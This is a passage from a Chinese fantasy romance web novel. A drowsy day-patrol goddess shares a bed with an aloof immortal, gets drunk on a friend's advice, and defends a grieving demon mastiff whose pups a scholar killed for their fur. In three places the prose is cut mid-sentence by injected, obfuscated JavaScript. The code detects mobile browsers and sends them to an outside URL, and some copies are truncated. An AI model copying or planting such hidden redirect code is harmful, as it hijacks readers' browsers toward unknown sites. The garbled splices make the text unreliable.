谢烬眼神一黯,不着痕迹地挪开视线,目光聚焦在了她的袖囊处,里面鼓鼓囊囊,想来藏了很多东西。 ——描摹莲花咒纹的连璧笔,应当在里面。 芙颂睡得很香,但也有一定的警觉,隐隐约约觉察枕边人有了动静,她睁眼查探。 谢烬正欲翻开芙颂的袖囊,见她醒转,他不欲打草惊蛇,恢复成平躺之姿。 芙颂半撑起身子,眯着眼睛,滴溜溜地瞅着白衣谪仙老半晌。 谢烬习惯了被人长久注视与打量,面色冷淡无异。 倒是芙颂自个儿发现自己睡着睡着,居然缠上了对方的双膝,睡姿委实谈不上雅致,颇有些不好意思,她忙说了声对不起,立刻拢回了自己的双腿,规规矩矩地躺平,接着睡下了。 直至身侧传来了规律的呼吸声,谢烬才睁眼。 朝着她方向望过去,她仍旧搂着他的腰,春夜天候微微转热了,在她白皙剔透的皮肤上蒸出一层水滢滢的红。 谢烬确证她是睡熟了后,才有了动作。 伸出手去探她的袖囊。 一下子翻出了很多东西。 花生酥糖,青梅脯,小甑糕,生姜饼,合桃酥,山楂丁,膠牙糖…… 怎的都是吃食? 谢烬耐心翻找了许久,才寻到了连璧笔。 他执起连璧笔,在自己的左手背点了一点,一阵近似于萤火般的微凉绿光在手背肌肤间闪过,咒纹很快消散开去。 “为何翻我的东西?”身侧蓦然响起了一道困惑的轻音。 谢烬敛了一敛眉,眸底霾意渐深,日游神方才是在假寐? 脑海里正晃过千百种应付的对策,他寻思着要不要先将她打昏,她下一句是:“师傅,我错了,我下次一定将生死簿弄保管得好好的……” 谢烬匪夷所思地循声望去,对方睡容安然,说完梦话,继续埋在他怀里睡下了。 谢烬无声地熄灭了酝酿在掌心间的真气。 原来是虚惊一场。 常谓日有所思夜有所梦,她白昼一直为生死簿一事忧虑,夜里也难免会做关于生死簿丢失的梦。 谢烬可以想象到,白色面具下方是一张怂唧唧又有些古灵精怪的脸了。 她的师傅,应该是极乐殿的司长翼宿星君——一个很逍遥的散神,民间称其为“乐神”,专门管梨园唱曲的。 有其师必有其徒。 谢烬压了压眉心,一晌将日游神的吃食一并拢回袖囊里摆放好,一晌在心中有了成算。 这位小神每夜造访此处,绝非长久之策。 虽说没做坏事,倒给他的生活添了一些小小的趣味。 但谢烬并不喜欢计划之外的异数与变动。 她姑且也算是他的后辈了,合该让她迷途知返才是。 这种事有些特别,事关女子清誉,她还年幼,只要多加教诲便是,不必闹到她师傅那里。 假令她明夜还来,他必定会跟她坦明。她是个聪慧的人,想来也是能够听懂他所说的话的。 尽早划清界限,才能杜绝一些没有必要的麻烦。 怀着这种计划,谢烬静静阖眼入眠。 —— 翌日,太阳照常升起。 芙颂清清爽爽地醒来,抻懒腰时,她发现衾被全裹在了自己身上,白衣谪仙身上是一点衾被都没的。 自己居然还有抢被子的习惯! 芙颂自惭不已,忙不迭将衾被裹回去,紧接着上值去了。 点了卯后,今日照例是鸡飞狗跳但又无大事发生的一日。 芙颂翻开生死簿上最新一页,上面罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408647|168780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 列着今日要送入往生桥的亡魂名单,等她忙完,又巡守一番人间,这一会儿玉简传来了一个新消息。 春神羲和:「小颂颂,下值后一起来喝酒呀~」 芙颂好多日没跟羲和一起在酒坊喝酒了,先前推拒过一次,这一回自是要答应的了。 酉时牌分,芙颂准时与夜游神交班,直往盛都渔阳酒坊而去。 盛都是凡间最繁华富庶的地方,坐落于天子脚下,渔阳酒坊是盛都为数不多经营到天明的酒坊,临江而建,规模虽不大,但胜在底蕴深厚,有着三百年的传承史,酒香醇厚,夜夜人满为患。 时下,羲和已经在等着她了,两人像往常一般寒暄了一阵,点了一桌开胃小菜,还有十坛佐食的屠苏酒。 当然,这十坛屠苏酒不是芙颂喝的,而是羲和今夜准备喝的。 倘若喝酒也能排姿论位,羲和绝对是连中三元的水准。她是神界最会喝酒的神,下凡后,她成了人间最会喝酒的女郎,渔阳酒坊曾经举办过一场喝酒擂台赛,羲和直截了当地夺得了头筹,掌柜的说她以后来酒坊都不要钱。 在羲和的熏陶之下,芙颂的酒量也日益上增,不说千杯不醉,但至少不轻易喝得面红耳赤。 比起正儿八经的神僚关系,两人更像是亲密无间的酒友关系。 芙颂先主动敬了羲和一杯,诚挚道:“说起来,真的很感谢你。” 羲和道:“你是得感谢我,有我在,你在这渔阳酒坊里,白嫖了三百年的好酒。” 芙颂道:“不是这件事。我按照你交代的办法,这两日真的睡了个好觉。” 羲和“咦”了一声,凑近前去,端详了一番芙颂:“你的气色确乎比往日好许多,不过,我给你交代了什么方法?”她为何不记得? 芙颂笑道:“让我寻个凡人,滚一圈,有了肌肤之亲,这样就能睡个好觉——这是你的办法,我试过了,果真是百试百灵。” 羲和蓦然一怔。 她从未料到,芙颂会将自己酒后的无心之语当真。 羲和如鲠在喉,本欲澄清此事,但迎上了芙颂黑澄澄的眼睫,那坦明真相的话辞在唇齿之间辗转反侧,一下子道不出口。 羲和心道:“罢,将错就错好了。没什么比让闺友睡个好觉更重要的事了,不是吗?” 羲和喝了一坛屠苏酒压了压惊,道:“他是个什么人?” 芙颂道:“是一个教授五经义理的教谕。” 羲和了悟,原来是个克己复礼的书生,这一类人有些古板,并不那么容易征服。 羲和道:“你跟他睡觉可有前-戏?” 芙颂惊讶,心道:“睡觉也需要有前-戏吗?我是沾人就睡啊。” 她到底还是虚心求教了一番,羲和就将自己的经验毫无保留地传授给她,并让她今晚去实践一番,这样促进她有更好的睡觉质量。 —— 入夜,酉时末刻,白鹤洲书院。 谢烬在旌善亭讲完学,并没有立刻离开,有一群学子捧着经卷向他援疑质理。 解答完学子们的困惑,他适才同教丞们下值。 教丞们谈论着今夜要去哪里喝酒逍遥,谢烬不参与这些话题,只不过,走到下值的路上,他隐隐嗅到了一阵酒香,再是听 到一串鬼鬼祟祟的步履声,觉察不对劲,往身后一看。 很不巧,看到了一道纤细的霓裳身影,如一条鲤鱼似的踩着他的影子玩,不远不近地追随着他。白色面具上的莲纹,在月色的照拂之下,熠熠生辉。 是日游神。 她是以为他完全没发现她的存在,才如此肆无忌惮地提早出现么? 谢烬敛着眸心,往身侧的同僚望去。他们谈论得起劲,根本没有注意到身后有个一路尾随的神仙。 也是,日游神隐身了,凡人不可能看到她。 谢烬觉得日游神也来到正好,待到了不二斋,需要跟她严肃地坦明一些事情。 他淡淡地拢回视线,心如止水,继续往前走。 但在一呼一吸之间,谢烬蓦觉身上一沉。 日游神俨如一枝蝴蝶似的,扑到了他的后背,双臂勾着他的脖颈,面具很轻很轻地蹭着他的耳根,软糯道:“最喜欢跟公子睡觉啦。” 夜风寂止了。 谢烬僵伫在原处。 倘若毕方在此,怕是要大跌眼镜,从来没有哪路神仙胆敢这般戏弄昭胤上神。 “谢教谕,你怎的停下来了?”教丞纳罕道。 4. 【第四夜】 【第四夜】 温热的莲香裹挟着一抹屠苏酒的清郁香气,杂糅在一起,跌跌撞撞扑至谢烬的身上。 他惯来不喜这种甜得发腻的香气,只觉厌离,当下想将芙颂从身上拽下,但囿于远近皆有书院的同僚,众目睽睽之下,他不好有过于违和的行止。 是以,当教丞问起时,他面色不变,淡声解释:“我有东西遗落在旌善亭,需返回去取。” 教丞们不疑有他。相处得久了,众人皆知谢烬性情清冷,对他总是抱持着恭谨的态度。当下纷纷朝他作别,走远了。 待四下无人后,谢烬寒声命令:“日游神,下来。” “咦,你能看见我呀?”趴伏在他背上的芙颂显得很惊讶,自顾自地呢喃道,“难道我忘了掐隐身诀?” 芙颂再度掐了一遍口诀,结果起到了适得其反的效果,原本隐身的她这一回显了形,偏偏她对自己显形之事一无所知:“好了,这一下子你肯定看不见我啦。” 谢烬:“……” 这一刻,他确证她是喝得酩酊大醉了,神识不如前夜那般清明。 “对了,我不叫日游神,我叫芙颂,”她趴在他的肩头,一晌搂着他的脖颈,一晌摇头晃脑地强调,“灼若芙蕖出绿波的芙,顺颂春祺的颂——你若不叫我的名字,我就不下来。就不,就不……嗝。” 话至尾稍处,还打了一个酒嗝。 谢烬遭了罪般,压了压眉心。他不关心她叫什么名字,也不想了解她名字的出处,更不想与她有任何牵扯与纠葛。 他严峻地重申一句:“下来。” 芙颂垂下头,从鬓角处飘落下来的一绺发丝撩蹭在了他的颊侧,像是一株毛绒绒的狗尾巴草。随后,她的口吻变得委屈起来:“你好凶。” 她刻意咬重了“凶”这个字,尾音裹挟着一抹濡湿的水汽。 谢烬深知自己的秉性如何,他是一个不容易有情绪的人,有自己的分寸,亦不会被情绪所役。当下,被她直接指出,他沉默了一下,直觉告诉他,倘若再用方才那般严峻的口吻对她说话,她必定会不依不饶地哭出来。他极不擅长应付这些,心道,没必要跟一个后辈一般见识。 谢烬极轻地叹了一口气,素来从容沉稳的语气,此刻添了一丝无奈:“芙颂。” 芙颂果真是说到做到,从他身上麻溜地滑下,轻易地绕到了他面前,冲着他弯了一弯眼睛,在烧红的月色下,她像只粉喙子的小白鸟,面具背后的眼睛水潋潋明灵灵的,伶俐又漂亮。 谢烬微蹙了下眉心,思及正事,遂沉声道:“有一件事需同你说。” 芙颂眨了眨眼睛,咧出一个纯粹的笑:“好呀,公子,我们去床上说。” 她不按常理出牌,端的是语不惊人死不休,谢烬看她的眼神沉黯了几分。 芙颂自然而然地往不二斋去了,显然是轻车熟路。 谢烬想要曳住她,但思及若是动用真气,怕是会灼伤她。时下,也只克制守礼地触碰到了她的袖子,那丝滑的云袖绵绵密密地滑蹭在他的掌心腹地,恍若鲛人清凌凌的尾部,一扫而过,无意间溢出来温腻的触感。 虽说夜间书院人少,但并不代表没人,若是教外人看到,终究是不成体统。 谢烬到了不二斋的寝屋,发现芙颂已经摘下靴履,滚在了他的床榻上。她温驯地盘坐在上面,眼睛亮津津,拍了拍枕褥:“快过来呀!” 见谢烬一副冷淡之色且没有动作,她主动道:“我可以帮公子脱靴子和腰带。” 俨然一副邀君共赴巫山的架势。 花笼里的毕方,低低地呔了声,双翼掩住了鸟眼,压根儿不敢去瞅主人的脸色。 这个小神未免也忒胆大了! 空气岑寂得只余下墙隅处更漏的声响,滴答——滴答——滴答——,连串成了一条剑拔弩张的线。 谢烬静静注视芙颂片刻,继而阔步朝前。 芙颂眼睁睁地看着他走近前,渊渟岳峙的黑色影子罩住了自己。 他居高临下地看她,视线带着几分清冷的审视,不知为何,芙颂感受到了一份沉甸甸的威压,仿佛有千钧般沉重,压得她难以呼吸。 谢烬口吻淡到毫无起伏:“这些话术,是受了谁的教唆?” 看在他眼底,今夜的芙颂,俨然是稚子偷穿大人衣物,处处是模仿的痕迹。 芙颂自然不可能把羲和供出来,掐头去尾道:“横竖有人告诉我,睡觉要有前-戏,能够更好的睡觉。” 顿了顿,她小心翼翼地偏头望他:“公子不喜我这样吗?那我今后不会再做的了。” 谢烬见她像是在认认真真检讨自己了,口吻不由放得缓和一些:“知晓自己错在何处就好,今夜之事,我便不追究了。” 芙颂扬起螓首,瞅着他:“那公子一脸严肃之相,可是在生我的气?” 谢烬略过前半部分,只应了后半句:“此等小事,不值得生气。” “那就好,”芙颂仰身躺在里侧,掀起棉衾,弯了弯眼睛,“我们一起睡觉罢。” 谢烬以为芙颂理解了他的话中之意,但时下观之,她完全没有理解。 他掖起衾被一角,打算将她从床榻上拉起,却在此刻—— 谢烬觉知到了一股悍然的气流涌现在不二斋外。 很不巧,是熟人的气息。 果不其然,少时的功夫,翊圣真君洪亮的声音传了进来:“谢教谕——查到魔神的踪迹了!” 眼见着翊圣真君要闯进来,谢烬眸色一黯,将衾被罩在了芙颂的身上,将她的面容也一并遮上,想了想,又捏了一个定身咒在她身上,防止她不安分乱动。 翊圣真君进来之时,只见谢烬清正端方地静坐在床榻前,身后那一张被褥微微地拱了起来,俨同一个小土丘。 翊圣真君没往深处细思,将自己所查探到的情报逐一话与谢烬知,迩后道:“发现了魔神踪迹的暗桩就在盛都,还请谢教谕示下。” 谢烬眉心微微一凛——盛都。 那可是天子脚下。 魔神为何会一窜逃,就往盛都去了? 此案疑点重重,不容小觑。 谢烬道:“毕方,你且随翊圣去盛都一趟,我随后就到。” 毕方领命称是,很快化作了一团炽烈的火,速速飘出笼中,追随翊圣真君去了。 翊圣真君离开不二斋前,嗅了一嗅斋内的空气,怎的会有一股女人的味道? 转念一想,又觉得不太可能。 昭胤上神素来清心寡欲,怎会在屋中藏娇? 必然是不可能的了。翊圣真君摇了摇头,速速撇开疑念,携带毕方先行而去了。 确认翊圣真君离去之后,谢烬适才解开定身咒,淡淡道:“起来。” 衾被之下的人儿久久没动静。 谢烬掀开衾被一角,便看着了一张酣睡的白皙面容。 芙颂双手交叠在胸口,正朝着他的方向侧卧,睡得正香。 她是蜷卧的睡姿,呈婴孩之状,看上去是很缺乏安全感的。 谢烬伸出去摇人的手,在半空之中停驻许久,最终还是拢了回去。 罢了。 —— 翌日芙颂醒来,天光已大亮,她头昏脑涨的,边揉抚着太阳穴,边往枕褥边望去,空空如也,白衣谪仙已经上值去了。 这是芙颂头一遭睡懒觉。 定是昨夜在渔阳酒坊陪羲和喝屠苏酒,喝得太多所致。羲和鼓舞她喝酒壮胆,芙颂索性灌了三坛屠苏酒,屠苏酒乃属烈酒之最,她喝得周身发烫恍恍惚惚。 芙颂记得喝完酒后就飞来白鹤洲书院了,还很高兴地踩着白衣谪仙的影子玩……至于后面具体发生了什么,她绞尽脑汁回溯了半日,竟是回溯不起来。 昨夜的记忆空空荡荡的,空得教她生出了一种不曾历经的错觉。 芙颂不是一个爱跟自己死磕较劲的人,记不起来发生什么那就记不起来吧,那应当是不重要的了,重要的是她睡了一个踏实安稳的好觉! 临去上值前,照例要去跟红鹦鹉道声早安,哪承想,它瞪着一双铜铃般大的鸟眼,气鼓鼓道:“酒鬼!以下犯上!” 芙颂好奇道:“我昨夜喝得确乎多了些,请问做了什么冒犯之事?” 毕方张了张鸟喙,却不言语——主子上值前,嘱咐过,切不可提及昨夜所发生的种种。 芙颂见红鹦鹉沉默不语,瞅了一眼空空如也的食槽,心道,此鸟性子虽清傲,但也是个好哄的,她就不跟一只鸟斤斤计较了。 芙颂在极乐殿点卯后,接着巡守人间了。 又是鸡飞狗跳又风平浪静的一天。 近些时日,不知是不是魔神出逃的缘由,凡间出现了越来越多不愿往生而入魔的亡魂,并且崩坏力越来越强悍,闹得凡间四方人心惶惶,甚至发生了不少诡异惨案,芙颂忙得可谓是脚不沾地。 临至傍午,准备跟夜游神换班,芙颂忽然在玉简上收到了一条信息,以为是羲和寻她喝酒,结果打开一瞧,发现是师傅翼宿仙君发在极乐殿工作群的一个消息。 翼宿仙君:「在盛都宣武门有一头不愿往生的魔獒,咬伤了不少凡人,黑白无常难以驯服,诸君谁去紧急收服一下?」 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408648|168780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这就是替黑白无常收拾烂摊子了。 盛都并不在芙颂的管辖区,但责任心驱使她还是关注了一下这桩紧急任务。 芙颂心道:“极乐殿内有一百多位神职人员,如果有一位神僚肯去帮忙,那我可以到点下值。” 然而,她守在玉简前一刻钟,一众神僚集体沉默。 沉默是今夜的康桥。 ……呃,可能大家都想下值罢。 没有哪位神僚愿意加班。 芙颂眼前正好有一株巨大的菩提树,她扪心道:“如果是斗姆,会希望我做什么?” 芙颂心中有了具象的答案。 她速速掐了一个飞云诀,踩着瑞云赴往盛都宣武门。 及至抵达盛都地界,穹空之上正落着滂沱细雨,婆娑惨淡的空气里弥散着潮湿濡重的水气,芙颂驱云疾驶之时,能够明晰地觉知到,方圆百里之内真气沉浮涌动,这些真气悉数汇聚于盛都以东宣武门的位置。 宣武门内坐落着东西两片市坊,市坊内栖住着不少黎民百姓,镇妖司正速速遣散百姓锁窗闭户,莫要外出。 芙颂很快就看到了师傅所提到的那一头魔獒。 体格庞硕,高达一丈,双目如炬,在宣武门的上空飞来蹿去,速度迅猛如疾风,周身泛散着骇人的血腥气息。 她没见着黑白无常,倒是见着两位分别身披玄甲、金甲的武神,化作黑金两道璀璨的光电,与之激烈鏖战,战况正酣。 芙颂很快认出了他们,其中一位正是前日晨会声如铙钹的翊圣真君,另一位的盔甲上描摹着龟蛇暗纹,想来是玄武真君无疑了。 翊圣真君与玄武真君是天帝座下四金甲神之一,乃属北疆一带的守护神,盛都居于北疆的核心地带,他们躬自出马降妖伏魔,并不奇怪。 三者交战速度过快,迅如惊电,芙颂根本看不清楚他们的招式。倘若冒然卷入,只怕会被撕裂成碎片残渣。 保命为上,她先伫停在战圈之外,天空还落着雨,雨渣子仿佛要在芙颂面上砸出一道窟窿,疼得她龇牙咧嘴,当下忙从背后之中顺出招魂伞,并捏了个躲雨咒,招魂伞演化成了一枝大莲花,完美抵挡住了接踵而来的雨势。 观战了好一会儿,芙颂目光不经意扫过宣武门,粗约合抱的朱门下方独伫着一位年青郎君,一席霜青色春衫,头戴苍青斗笠,面容隐没在了烟青色的雨雾之中。 芙颂暗道不妙,上空就是神魔交战处,如此危险的地方,一介凡人怎么能够立在那儿? 芙颂顾不得太多了,幻化为凡人模样,掣步上前,道:“公子快走,此处危险!” 听到一声熟悉的“公子”,谢烬循声回望而去,便是看到了芙颂。 他微微蹙眉,她怎么会出现在此处。 谢烬正在布伏魔阵,待魔獒落败,此阵就可将它收服。 芙颂没认出他的底细,见他丝毫没有想走的趋势,心中焦灼不已。 她往上空望去。 与翊圣、玄武交战之时,魔獒身上有多处鲜血淋漓的伤口,血顺着它的伤口汩汩涌出,移动的速度也缓慢了下来。趁着魔獒落入下风,翊圣与玄武互换了一个眼色,分居魔獒的东西两方,袖中涌出蛇一般的镇魔巨锁,紧紧缠缚住它。 下一息,翊圣真君一个晃身闪现,拎起重拳直击魔獒的胸口,逼得它连连后退,最后他再一个低身勾拳,力道重逾雷霆,魔獒直接被打得仰面摔倒,径直从高空之中坠落而下—— 它的坠落的下空,正是芙颂和年青郎君所在的位置! 芙颂心内一阵惕凛,见年轻郎君一副高冷得不愿离去的样子,她也不想多问,直截了当地拽住他的右手腕,往战圈之外逃出去。 二人前一脚离开宣武门,后一脚魔獒就堪堪坠入伏魔阵的阵眼之中! 伴随着一阵震天价响,现场溅起了厚重的雨霾。 芙颂咳咳了几声,一抬首,就望见了大雨之中那头遍体鳞伤的魔獒,它身缚镇魔巨锁,匍匐在湿泞的雨地上,大雨将它身上墨红色毛发都打湿了。它想重新爬起来,但四肢皆裂,它瘫倒下去,悲鸣数声,那一双渗血的凶眸里,含着悲怆与幽哀,下眶处似有隐隐泪光闪过——看上去极是可怜。 “欺世妖魔,还不快束手就擒!”翊圣真君降落下来,眼看就要给魔獒致命一击。 “慢着!” 芙颂松开了身侧的年轻郎君,掠身飞前,挡在翊圣真君与魔獒之间,斩钉截铁道:“您不能杀它。” 谢烬闻言,眸色添了一层深意。 芙颂侧身,望了一眼魔獒,语气柔和下来:“它有话要说。” 5. 【第五夜】 【第五夜】 “何方小神,在此搅乱?” 一道黑光与一道金光先后降落于芙颂一丈开外,旋即化作人形,便是翊圣真君与玄武真君。开腔说话的是玄武真君。 芙颂道:“我是在极乐殿当差的日游神芙颂,受师傅之命,前来收服魔獒。” 玄武真君没开口,翊圣真君倒是浑不在意地冷哼一声:“你们极乐殿怕是来迟一步,魔獒已由我与玄武击溃,眼下正是最关键的一步,烦请你识相一些,速速退出伏魔阵!” 伏魔阵?芙颂心下微骇,环视一遭,这才发觉自己脚下的湿地泛散起了一片涟漪状的鎏色金光,金光点线成面,连缀成了复杂的八卦图,以大气磅礴之势各自散布于八方,继而聚拢成了浩气汤汤的阵型。 芙颂听师傅提过,伏魔阵乃属离卦,离属至阴之火,但凡入伏魔阵者,不论妖魔还是神佛,不出半个时辰,就会被阴火灼烧得魂飞魄散,不得往生。伏魔阵也不是什么阶位的神能布下的,至少要有万年或万年以上的修为。放眼天庭上下,坐拥有万年修为的,屈指可数。 翊圣真君的儆醒没有错,凭芙颂现在的修为,她入了伏魔阵,很快就会被烧成一枝焦黄的莲花。倘使不及时退出,饶是届时药王菩萨下凡,也难救渡。 理智告诉芙颂,她该退出伏魔阵,但她回眸望向魔獒之时,魔獒亦是奄奄一息地望向她,眸含悲怆的泪水。 芙颂看出一丝端倪。 见她丝毫没有退阵的打算,玄武真君劝阻道:“此一魔獒,在过去一个月内咬伤镇妖司无数官员,以人为食,以血为饮,端的是恶贯满盈,你若是对它生出怜悯,便是盲目,便是等同于对百姓作恶。” 说话间,芙颂已朝魔獒缓行了过去。 翊圣真君厉声喝道:“喂——你莫要靠近它!” 两位武神没料到这位日游神是一根愣头青,行事过于莽撞,忍不住朝着昭胤上神望去,盼着他拿定主意。 谢烬沉静地注视着芙颂,没有进一步举动,似是打算静观风浪起。 这厢,芙颂尝试着靠近魔獒,魔獒大抵是将她视作冷酷无情的武神,毛发倒竖,身躯不停地发颤,在细雨里冲着她不断咆哮。芙颂心下或多或少有些惧怕,她从未接触过这般庞大的妖物,但她并不退怯。 当走得近了,芙颂发现这一头魔獒的左眼已经瞎了,眸瞳黯淡无光,下眶正在不断渗出血来,蘸湿了黏濡的毛发。 它是一个半魔半魂的妖物,命数已尽,全靠一股执念吊着一口气。 “你一定活得很辛苦罢,可以告诉我,为何不愿往生?”芙颂缓缓伸出手,欲去抚摩魔獒的左眼,魔獒忽地张开血盆大口,一口咬住了芙颂的手腕。 稀薄的雨雾里渗出了一阵清郁的铁锈气息。 气氛趋于剑拔弩张。 翊圣真君和玄武真君都以为芙颂被魔獒咬穿了。 芙颂吓得阖上双目,但预想之中的痛楚并未如预期那般传来,她睁开眼,适才发现魔獒只是虚张声势地衔着她的手腕,獠牙轻轻抵着她的腕脉,并未真正刺穿她的皮肤。见她不惧怕,它忽地松了口,观察了芙颂好一阵,终于将瞎了的那只左眼,轻轻贴在芙颂的掌心处。 芙颂听到一股沙哑虚弱的女子声音传在了脑海里:“我在为我那死去的三个孩子报仇,何错之有?” 芙颂凝眸,道:“报仇?” 魔獒道:“我原本活在青藏雪域之上,两年前化形后,在雪河里救下了一位落难的书生,名叫王栩。王栩通文墨、识音律,秉性刚正,容止彬彬有礼,我对他很是欢喜,但知人妖殊途,注定不会结下善果。他通晓我的心意后,问我可愿意跟随他一起生活,我见他格局之大,不在乎我的出身,便同意了。” “一年前他上盛都赶考,不久后,我发现自己有了身孕,生下来后是三胞胎,我做母亲了,很是欢喜,便写了信给他,但他迟迟没有回信,我等啊等,等了一年,都等不到他。生怕他在盛都出了什么事,遂是带着三个孩子亲自来盛都寻他。” 芙颂静静地倾听着,道:“后来寻到了他吗?” 魔獒口吻变得嘲讽起来:“自然是寻到了他。他高中状元,已是承安公主的入幕之宾,全盛都皆传他是未来的驸马爷。我信任王栩,自是不信这些流言风语的,王栩亦是同我说,他与承安公主不过是上峰与下级的关系,承安公主乃属当今圣上的亲妹妹,求贤若渴,对他很是器重,他不能辜负承安公主的栽培。” “但我如何都不曾料到,他一朝会将歹念打到我那三个孩子身上。一日,我回家,发现孩子们都不见了,寻邻里打听才知晓,是王栩将它们带去了镇妖司,我闯入镇妖司救孩子时,已经迟了。” 魔獒的声音满含悲怆:“我看到了三具脆弱的白骨,王栩将我的孩子的皮剥下来,合做成了一件袄子,献给承安公主。” 芙颂听着,深深倒吸了一口凉气,摩挲着魔獒左眼的手,亦是微微颤抖,掌心腹地的深处,隐隐渗出了一片冷汗。 王栩谋杀自己的孩子,究竟是蓄谋已久,还是临时起意? 似乎洞察出了芙颂的内心想法,魔獒冷讥道:“自那时起我才知道,原来承安公主一直想要一件獒皮大氅,得公主心便是得了圣心,王栩算是彻彻底底利用了我——在他眼中,我和我的孩子是他登上青云路的垫脚石,读着圣贤书,却干着腌臜的勾当,我恨极,誓要将其千刀万剐。王栩反手说我是作恶多端的妖魔,遣镇妖司来擒诛我,要将我灭口……” 说着,魔獒阖拢上双眸,积压在眸眶之中的泪顺着伤口留了下来,道:“好一个王栩!这些年,我终究是错伏了。” 为孩子复仇成了魔獒心中最深的执念,让它不愿轻易往生,必须要活着。唯有活着,才能杀王栩,以祭孩子在天之灵。 魔獒怒道:“然而,我不仅没杀成王栩,反而被镇妖司重创,镇妖司就是王栩的帮凶,镇妖司那一帮打着‘替天行道’幌子的伪君子,就该死!” 镇妖司是凡间最官方的收复妖魔鬼怪的衙署,背后盘踞着错综复杂的皇族势力,镇妖司永远代表着平民百姓的立场,但凡对百姓惧怕的妖魔鬼怪,都是恶的,有害的,镇妖司必定除之。 善与恶的界限,有时非常模糊,极善会转化为恶,极恶有时也会转化为善。凡人制定了有利于自己的律法,擅自掌控了其他物种的命运与生死——这无异于是一种极大的悲哀。 芙颂清醒地知道,自己只是一介小神,无权干涉镇妖司的内务,但时下,望着奄奄一息的魔獒,她心中有一块地方隐微地塌陷了下去,虽然塌陷的痕迹不甚明显,但它到底还是塌陷了下去。 芙颂垂着眼,又抬起来,温声道:“我帮你。” 魔獒深深地凝睇了她一眼,眸子浮现一抹愕意:“你会帮我杀王栩?” 芙颂道:“神不管凡人纠葛,我不会杀他,但定让他遭到他该有的报应。” 魔獒道:“你的法子是什么?” 芙颂实诚道:“……暂时还没想出来。” 在阵外谛听了好一阵子的玄武真君和翊圣真君,听到芙颂前半句的话,差点栽倒在地。 不是,这个日游神大脑空空,又是有什么底气说可以替魔獒的孩子复仇?凭借一腔孤勇吗? 芙颂笃定道:“一定会有最合适的法子的。” 魔獒缄默了片晌,终于道:“我信你。不过,我落入伏魔阵,阵已发动,你入了阵中,怕是会随我受牵连。” 芙颂正担虑间,蓦觉腰间一紧,但见一道雪色白绫游蛇似的缠缚住了她的腰肢,像是拎鸡雏似的,一举将她拎出阵外。芙颂沿着一个顺滑的抛物线,穿过朦朦胧胧的烟雨,安安稳稳降落在了一个安全之地。 芙颂正欲向搭救自己的人道声谢,一抬眼,她微微一怔,眼前人正是那位年青郎君。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408649|168780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 芙颂一下子反应过来,这位郎君绝对不是凡人,方才他独伫在宣武门下,怕是在布阵,伏魔阵就是他布下的。 玄武真君和翊圣真君对此人很是恭谨,此人怕是身份斐然,修为绝对在万年之上。 亏她方才还以为他只是一介凡人,拽着他就跑。 如今想来,自己这番行止十分唐突。 芙颂恭恭敬敬行了个礼,也不怕尴尬,直言道:“魔獒方才的陈情,尊长您是听见了的。慈能生乐,悲能拔苦,祛除它心中的执念,它才能安然往生,这于您而言,也是功德一桩。” 芙颂以为要斡旋许久,却听年青郎君淡声道:“三日。” 芙颂愣了一愣:“三日?” 年青郎君拢回白绫,背过身去,嗓音在水濛濛的语气之中显得清冷低哑:“三日之后,若未能消除此妖执念,它便万劫不复。” 这是愿意表示通融的意思了。 芙颂松了一口气,规规矩矩地朝年青郎君言谢。 谢烬透过斗笠淡淡地望了她一眼,寥寥然地颔首,算作应答,随后掠至高空处,随性一挥袖,流云般的广袖之中滑出一道灼金色的光,俨同一枝椽笔,在魔獒的颅顶之中点化了一下,魔獒匍匐不动了,周身分散着柔和的金芒。躯体肉眼可见地缩小成一团,最终变作了一头羸弱的雪白藏獒。 此则魔獒褪去妖气后的本体。 谢烬对玄武真君使了个眼色。 玄武真君悟过意,连忙翻掌念了个脱锁诀与灵笼咒。 下一息,伴随着一阵吱嚓声,原是捆缚在魔獒身上的镇妖锁,脱落消失,一道金色天笼自上而下掩罩住了这头雪白藏獒。 藏獒温驯地待在笼中,谢烬持笼乘云而去,玄武与翊圣真君负责善后。芙颂思及什么,道:“尊长,且慢。” 谢烬徐徐止步,侧身望向她。 不知怎的,芙颂被他自上而下地望着,有些紧张——这一种紧张的感觉让她倍觉熟稔,但一时半会儿又想不起来在哪里见过。 芙颂道:“恳请尊长照顾好魔獒,三日之后,我会带它去往生桥。” 春雨不知何时停了下来,曙光乍现,从云层之上偏略地斜射下来,谢烬望见女郎的侧颜镀上了一层薄薄的鎏金辉光,皮肤上柔软的绒毛纤毫可见,让他尤为侧目的,是她眉眼间之间的那一份笃定与果毅。 谢烬视线下挪,落在了她的胳膊上。他几不可察的皱眉,淡声道:“安顿好他人之前,先管好你自己。” 芙颂起初没反应过来,等年青郎君的身影消失在云端之后,她才后知后觉,自己的右胳膊上受了伤,伤口一直在淌着血。 